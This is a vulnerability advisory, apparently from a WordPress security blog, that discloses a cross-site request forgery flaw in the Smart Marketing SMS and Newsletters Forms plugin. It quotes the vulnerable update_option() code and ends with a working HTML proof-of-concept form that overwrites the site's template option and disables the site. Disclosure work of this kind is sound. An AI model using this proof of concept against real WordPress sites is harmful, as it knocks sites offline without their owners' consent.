Our Proactive Monitoring Caught a WordPress Plugin Vulnerability That Could Cause a Website to be Fully Disabled
Back in June of last year we started doing proactive monitoring of changes being made to WordPress plugins to try to catch serious vulnerabilities when they are introduced in to plugins. Elements of that then became part of the basis of our Plugin Security Checker, an automated tool any one can use to check for possible security issues in plugins, which was introduced in October of last year. This week we replaced the previous system we had for handling the initial checking done as part of the proactive monitoring before a human becomes involved, with an expanded system that now incorporates more complex checking based off of code already included with the Plugin Security Checker. Just days into using that is has already help to detect a pretty nasty vulnerability in the plugin Smart Marketing SMS and Newsletters Forms, though one that looks like it could be used to knock a website offline, but not hack the website to gain control of it. The vulnerability is another one involving usage of the option_update() WordPress function that we have spotted recently, that function has recently been involved in the hacking of websites running WP GDPR Compliance and likely Kiwi Social Share as well.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).
Technical Details
In the file /admin/partials/egoi-for-wp-admin-forms.php there is code that checks if the POST input “action” exists and then passes user input to the update_option() function:
11 12 13 14 15 16 17 | if(isset($_POST['action']) && ($_POST['action'])) { $post = $_POST; $post['egoi_form_sync']['form_content'] = htmlentities($_POST['egoi_form_sync']['form_content']); $egoiform = $post['egoiform']; update_option($egoiform, $post); |
While you can update arbitrary options with that based on the POST input “egoiform”, the new value of option will be all the POST input from the request, limiting the impact of what can be done with that. Though, as we found when looking into another similar vulnerability, by replacing the “template” option with content like could be set with this you can disable the frontend and admin area of the website.
The file /admin/partials/egoi-for-wp-admin-integrations.php contain nearly identical code.
The file /admin/partials/egoi-for-wp-admin-forms.php is loaded by the function display_plugin_subscriber_form() if a user has the “manage_options” capability:
295 296 297 298 299 300 | public function display_plugin_subscriber_form() { if (!current_user_can('manage_options')) { wp_die('You do not have sufficient permissions to access this page.'); } else { include_once( 'partials/egoi-for-wp-admin-forms.php' ); |
That in turn is run when the Capture Contacts admin page of the plugin is accessed:
228 | add_submenu_page($this->plugin_name, __('Capture Contacts', 'egoi-for-wp'), __('Capture Contacts', 'egoi-for-wp'), $capability, 'egoi-4-wp-form', array($this, 'display_plugin_subscriber_form')); |
Accessing that admin page also requires the “manage_options” capability. Normally only users with the Administrator role have that capability and they have the ability to do just about whatever they want so by itself they ability to update arbitrary options wouldn’t be a vulnerability. Where this becomes a vulnerability is that there isn’t any check in this code for a valid nonce, which would prevent cross-site request forgery (CSRF). So if an attacker could get a logged in Administrator to access a page they control they could cause the Administrator to exploit this without intending it.
Proof of Concept
The following proof of concept will break the website, when logged in to WordPress as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin.php?page=egoi-4-wp-form" method="POST"> <input type="hidden" name="action" value="test" /> <input type="hidden" name="egoiform" value="template" /> <input type="submit" value="Submit" /> </form> </body> </html>
Pingback: Podcast de Seguridad WordPress: WPZ 112 | World of WordPress